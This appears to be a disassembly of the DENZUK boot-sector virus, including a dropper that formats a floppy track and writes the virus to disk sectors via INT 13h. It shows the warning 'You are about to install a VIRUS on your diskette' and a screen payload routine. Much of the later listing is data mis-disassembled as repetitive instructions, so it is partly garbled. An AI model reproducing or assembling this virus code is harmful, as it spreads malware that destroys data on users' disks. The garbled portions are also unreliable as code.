home *** CD-ROM | disk | FTP | other *** search
-
-
- PAGE 59,132
-
-
-
- ;██████████████████████████████████████████████████████████████████████████
-
- ;██ ██
-
- ;██ DENZUK ██
-
- ;██ ██
-
- ;██ Created: 4-Feb-91 ██
-
- ;██ Passes: 5 Analysis Options on: J ██
-
- ;██ ██
-
- ;██████████████████████████████████████████████████████████████████████████
-
-
-
- data_0001e equ 24h
-
- data_0002e equ 26h
-
- data_0003e equ 4Ch
-
- data_0004e equ 4Eh
-
- data_0005e equ 78h
-
- data_0006e equ 1BCh
-
- data_0007e equ 1BEh
-
- main_ram_size_ equ 413h
-
- keybd_flags_1_ equ 417h
-
- video_mode_ equ 449h
-
- warm_boot_flag_ equ 472h
-
- data_0008e equ 4F6h
-
- data_0009e equ 51Ch ;*
-
- data_0010e equ 61Eh ;*
-
- data_0011e equ 7C00h ;*
-
- data_0012e equ 7C0Bh ;*
-
- data_0013e equ 7C0Eh ;*
-
- data_0014e equ 7C10h ;*
-
- data_0015e equ 7C11h ;*
-
- data_0016e equ 7C15h ;*
-
- data_0017e equ 7C16h ;*
-
- data_0018e equ 7C18h ;*
-
- data_0019e equ 7C1Ah ;*
-
- data_0020e equ 7C1Ch ;*
-
- data_0021e equ 7C2Ah ;*
-
- data_0022e equ 7C2Bh ;*
-
- data_0023e equ 7C37h ;*
-
- data_0024e equ 7C39h ;*
-
- data_0025e equ 7C3Bh ;*
-
- data_0026e equ 7C3Ch ;*
-
- data_0027e equ 7C3Dh ;*
-
- data_0028e equ 7C3Fh ;*
-
- data_0029e equ 7D77h ;*
-
- data_0030e equ 7DD6h ;*
-
- data_0031e equ 7DE1h ;*
-
- data_0032e equ 7DFDh ;*
-
- data_0033e equ 0
-
- data_0035e equ 28h
-
- data_0036e equ 33h
-
- data_0037e equ 5Ch
-
- data_0157e equ 1E50h ;*
-
- data_0158e equ 2000h ;*
-
- data_0161e equ 2A00h ;*
-
- data_0164e equ 7C00h ;*
-
- data_0165e equ 7C0Bh ;*
-
- data_0166e equ 7C15h ;*
-
- data_0167e equ 7C18h ;*
-
- data_0168e equ 7C1Ah ;*
-
- data_0169e equ 7C1Eh ;*
-
- data_0171e equ 7C2Ch ;*
-
- data_0172e equ 7C2Eh ;*
-
- data_0173e equ 7C30h ;*
-
- data_0174e equ 7C31h ;*
-
- data_0175e equ 7C32h ;*
-
- data_0176e equ 7CC6h ;*
-
- data_0178e equ 7E00h ;*
-
- data_0179e equ 8002h ;*
-
- data_0181e equ 0A82Ah ;*
-
- data_0182e equ 0AA00h ;*
-
- data_0183e equ 0AA02h ;*
-
- data_0185e equ 0AA2Ah ;*
-
- data_0186e equ 0AAAAh ;*
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
-
-
-
-
- org 100h
-
-
-
- denzuk proc far
-
-
-
- start:
-
- mov dx,29Dh
-
- dec byte ptr ds:data_0037e
-
- jns loc_0002 ; Jump if not sign
-
- jmp loc_0008
-
- loc_0002:
-
- mov dx,1BFh
-
- call sub_0001
-
- xor ah,ah ; Zero register
-
- int 16h ; Keyboard i/o ah=function 00h
-
- ; get keybd char in al, ah=scan
-
- and al,0DFh
-
- cmp al,59h ; 'Y'
-
- jne loc_ret_0009 ; Jump if not equal
-
- mov dl,ds:data_0037e
-
- xor ah,ah ; Zero register
-
- int 13h ; Disk dl=drive a ah=func 00h
-
- ; reset disk, al=return status
-
- jc loc_0007 ; Jump if carry Set
-
- push dx
-
- mov dx,281h
-
- call sub_0001
-
- pop dx
-
- mov ax,351Eh
-
- int 21h ; DOS Services ah=function 35h
-
- ; get intrpt vector al in es:bx
-
- mov al,9
-
- xchg al,es:[bx+4]
-
- push es
-
- push bx
-
- push ax
-
- push ds
-
- pop es
-
- xor dh,dh ; Zero register
-
- mov ch,28h ; '('
-
- mov bx,offset data_0040
-
- mov ax,509h
-
- int 13h ; Disk dl=drive a ah=func 05h
-
- ; format track=ch or cylindr=cx
-
- ; al=interleave, dh=head
-
- pop ax
-
- pop bx
-
- pop es
-
- jc loc_0007 ; Jump if carry Set
-
- mov es:[bx+4],al
-
- push ds
-
- pop es
-
- cld ; Clear direction
-
- mov si,offset data_0058
-
- jmp short loc_0004
-
- loc_0003:
-
- test dh,dh
-
- jnz loc_0004 ; Jump if not zero
-
- dec cx
-
- jz loc_ret_0009 ; Jump if zero
-
- loc_0004:
-
- lea bx,[si+5] ; Load effective addr
-
- mov bp,200h
-
- lodsb ; String [si] to al
-
- cmp al,0F6h
-
- je loc_0006 ; Jump if equal
-
- mov bx,offset data_0049
-
- cmp al,[bx]
-
- je loc_0005 ; Jump if equal
-
- mov di,bx
-
- mov cx,bp
-
- rep stosb ; Rep when cx >0 Store al to es:[di]
-
- loc_0005:
-
- xor bp,bp ; Zero register
-
- loc_0006:
-
- lodsw ; String [si] to ax
-
- xchg ax,cx
-
- lodsw ; String [si] to ax
-
- xchg ax,dx
-
- or dl,ds:data_0037e
-
- lea si,[bp+si] ; Load effective addr
-
- mov ax,301h
-
- push si
-
- push cx
-
- push dx
-
- int 13h ; Disk dl=drive a ah=func 03h
-
- ; write sectors from mem es:bx
-
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- pop dx
-
- pop cx
-
- pop si
-
- jnc loc_0003 ; Jump if carry=0
-
- loc_0007:
-
- mov dx,offset data_0048
-
-
-
- denzuk endp
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0001 proc near
-
- loc_0008:
-
- mov ah,9
-
- int 21h ; DOS Services ah=function 09h
-
- ; display char string at ds:dx
-
-
-
- loc_ret_0009:
-
- retn
-
- sub_0001 endp
-
-
-
- data_0040 db 28h
-
- db 00h, 21h, 02h, 28h, 00h, 22h
-
- db 02h, 28h, 00h, 23h, 02h, 28h
-
- db 00h, 24h, 02h, 28h, 00h, 25h
-
- db 02h, 28h, 00h, 26h, 02h, 28h
-
- db 00h, 27h, 02h, 28h, 00h, 28h
-
- db 02h, 28h, 00h, 29h, 02h
-
- db 0Dh
-
- data_0041 db 0Ah, 'You are about to install a '
-
- db 'VIRUS on your diskette!!!', 0Dh, 0Ah
-
- db 'This will des'
-
- data_0043 dw 7274h
-
- data_0044 db 6Fh
-
- data_0045 dw 2079h
-
- db 'ALL data on the diskette!!!', 0Dh
-
- db 0Ah, 'Inser'
-
- data_0046 dw 2074h
-
- db 'a formatted 360K di'
-
- data_0047 dw 6B73h
-
- db 'ette into the drive.', 0Dh, 0Ah, 'A'
-
- db 're you sure you want to proceed '
-
- db '(y/N)? $'
-
- db 0Dh, 0Ah, 0Ah, 'Writing...$'
-
- data_0048 db 0Dh
-
- db 0Ah, 45h, 72h, 72h, 6Fh, 72h
-
- db 07h, 21h, 07h, 21h, 07h
-
- db '!$'
-
- db 'Usage: DENZUK A: ', 0Dh, 0Ah
-
- db '$'
-
- data_0049 dw 167 dup (0)
-
- data_0050 dw 0
-
- data_0051 db 0
-
- data_0052 dw 0, 0
-
- data_0054 dw 0, 0
-
- db 82 dup (0)
-
- data_0056 dd 00000h
-
- data_0057 dd 00000h
-
- db 77 dup (0)
-
- data_0058 db 0F6h
-
- db 29h, 28h, 00h, 00h,0FFh
-
-
-
- locloop_0011:
-
- loop locloop_0011 ; Loop if cx > 0
-
-
-
- pop di
-
- pop si
-
- pop es
-
- pop ds
-
- pop dx
-
- pop cx
-
- pop ax
-
- popf ; Pop flags
-
- retn
-
- db 8Dh, 36h,0D1h, 07h
-
- db 0BFh, 90h, 0Bh,0B9h, 00h, 05h
-
- db 0F3h,0A4h
-
- db 8Dh, 36h,0D1h, 0Ch
-
- db 0BFh, 40h, 2Bh,0B9h, 00h, 05h
-
- db 0F3h,0A4h,0C3h, 51h,0FCh, 32h
-
- db 0D2h,0BEh, 10h, 00h
-
- loc_0012:
-
- mov cx,28h
-
-
-
- locloop_0013:
-
- mov ax,es:[di]
-
- xchg al,ah
-
- ror ax,1 ; Rotate
-
- ror ax,1 ; Rotate
-
- mov dh,ah
-
- and dh,0C0h
-
- and ah,3Fh ; '?'
-
- or ah,dl
-
- mov dl,dh
-
- xchg al,ah
-
- stosw ; Store ax to es:[di]
-
- loop locloop_0013 ; Loop if cx > 0
-
-
-
- dec si
-
- jnz loc_0012 ; Jump if not zero
-
- pop cx
-
- retn
-
- db 51h,0FDh, 32h,0D2h
-
- db 0BEh, 10h, 00h
-
- loc_0014:
-
- mov cx,28h
-
-
-
- locloop_0015:
-
- mov ax,es:[di]
-
- xchg al,ah
-
- rol ax,1 ; Rotate
-
- rol ax,1 ; Rotate
-
- mov dh,al
-
- and dh,3
-
- and al,0FCh
-
- or al,dl
-
- mov dl,dh
-
- xchg al,ah
-
- stosw ; Store ax to es:[di]
-
- loop locloop_0015 ; Loop if cx > 0
-
-
-
- dec si
-
- jnz loc_0014 ; Jump if not zero
-
- pop cx
-
- cld ; Clear direction
-
- retn
-
- data_0066 db 'WS EXE ', 0
-
- db 9 dup (0)
-
- db 52h,0B1h, 3Bh, 12h, 02h, 00h
-
- db 00h, 5Eh, 02h, 00h
-
- db 'WSHELP OVR!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 12h, 11h, 41h, 01h
-
- db 0A0h, 9Dh, 00h, 00h
-
- db 'WSSPELL OVR!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 12h, 11h, 9Fh, 00h
-
- db 80h, 80h, 00h, 00h, 59h,0F9h
-
- db 43h,0F9h, 31h,0F9h, 45h,0F9h
-
- db 52h,0F9h, 50h, 29h, 00h
-
- db 9 dup (0)
-
- db 0A0h,0B2h, 46h, 12h, 00h, 00h
-
- db 00h, 00h, 00h, 00h
-
- db 'WSMSGS OVR!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 12h, 11h,0C0h, 00h
-
- db 62h, 53h, 00h, 00h
-
- db 'PREVIEW OVR!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 0Fh, 11h, 16h, 01h
-
- db 10h,0ABh, 00h, 00h
-
- db 'PREVIEW MSG!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 0Fh, 11h,0D5h, 00h
-
- db 00h, 22h, 00h, 00h
-
- db 'DRAFT PDF!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 12h, 11h,0DEh, 00h
-
- db 0AAh, 03h, 00h, 00h
-
- db 'WSSHORT OVR!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 12h, 11h,0DFh, 00h
-
- db 00h, 02h, 00h, 00h
-
- db 'WS4 PDF!'
-
- db 0
-
- db 9 dup (0)
-
- db 03h, 88h, 12h, 11h,0E0h, 00h
-
- db 0ABh, 01h, 00h, 00h
-
- db 'CONFIG SYS!'
-
- db 0
-
- db 9 dup (0)
-
- db 11h,0A3h, 39h, 12h,0E1h, 00h
-
-
-
- locloop_0017:
-
- or ax,[bx+si]
-
- add [bx+si],al
-
- inc cx
-
- push bp
-
- push sp
-
- dec di
-
- inc bp
-
- pop ax
-
- inc bp
-
- inc bx
-
- inc dx
-
- inc cx
-
- push sp
-
- and [bx+si],ax
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],ah
-
- mov word ptr ds:[1239h],ax
-
- loop locloop_0018 ; Loop if cx > 0
-
-
-
-
-
- locloop_0018:
-
- or [bx+si],ax
-
- add [bx+si],al
-
- push di
-
- push bx
-
- dec ax
-
- pop cx
-
- push ax
-
- dec ax
-
- and [bx+si],ah
-
- dec di
-
- imul byte ptr [bx+si] ; ax = data * al
-
- sub [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0183e
-
- test al,0
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- or ch,[bp+si+0A0h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add ch,[bp+si-5556h]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0182e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- or ch,[bp+si+0A8h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bp+si-7F56h],ch
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr ds:[0A00h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add ch,[bp+si+0A0h]
-
- add ch,[bp+si+0A8h]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+80h],ch
-
- add [bx+si],al
-
- add [bp+si-5556h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],2
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],al
-
- add byte ptr [bx+si],0
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add ch,[bp+si+2A00h]
-
- mov al,ds:data_0033e
-
- add ch,[bp+si+0A0h]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add ch,[bp+si-5556h]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bx+si],al
-
- pushf ; Push flags
-
- push ax
-
- push cx
-
- push dx
-
- push ds
-
- push es
-
- push si
-
- push di
-
- push cs
-
- pop ds
-
- mov ax,5
-
- int 10h ; Video display ah=functn 00h
-
- ; set display mode in al
-
- mov ax,0B800h
-
- mov es,ax
-
- ;* call sub_0002 ;*
-
- db 0E8h, 24h, 00h
-
- mov cx,10h
-
-
-
- locloop_0019:
-
- call sub_0003
-
- mov di,3040h
-
- ;* call sub_0004 ;*
-
- db 0E8h, 57h, 00h
-
- loop locloop_0019 ; Loop if cx > 0
-
-
-
- mov cx,0FFFFh
-
-
-
- locloop_0020:
-
- loop locloop_0020 ; Loop if cx > 0
-
-
-
- mov cx,0F6FFh
-
- daa ; Decimal adjust
-
- sub [bx+si],al
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si-5556h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- ; SUBROUTINE
-
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
-
-
- sub_0003 proc near
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- or ch,[bp+si+0A0h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- or ch,[bp+si-5F56h]
-
- add [bx+si],al
-
- or ch,[bp+si+80h]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add ch,[bp+si+0AAh]
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- sub al,[bx+si]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0Ah
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0179e
-
- add [bx+si],al
-
- add [bp+si-5756h],ch
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0158e
-
- add [bp+si-5556h],ch
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si-7F56h],ch
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0181e
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0Ah
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- or ch,[bp+si+0A8h]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0186e
-
- add [bx+si],al
-
- add [bp+si-5556h],ch
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- add [bx+si],al
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0161e
-
- test al,0
-
- or ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- sub ch,[bp+si+0]
-
- nop ;*ASM fixup - displacement
-
- nop ;*ASM fixup - sign extn byte
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- add [bp+si],al
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0185e
-
- add byte ptr [bx+si],0
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bp+si+0A8h],ch
-
- mul byte ptr ds:data_0035e ; ax = data * al
-
- add [bx+si],al
-
- add [bx+si],al
-
- sub ch,[bp+si-5556h]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr data_0041+40h ; (' ')
-
- stosb ; Store al to es:[di]
-
- stosb ; Store al to es:[di]
-
- add [bp+si],ch
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr data_0041+40h ; (' ')
-
- stosb ; Store al to es:[di]
-
- mov al,byte ptr data_0041+40h ; (' ')
-
- stosb ; Store al to es:[di]
-
- test al,0
-
- add [bp+si],cl
-
- stosb ; Store al to es:[di]
-
- mov al,ds:data_0033e
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
- add [bx+si],al
-
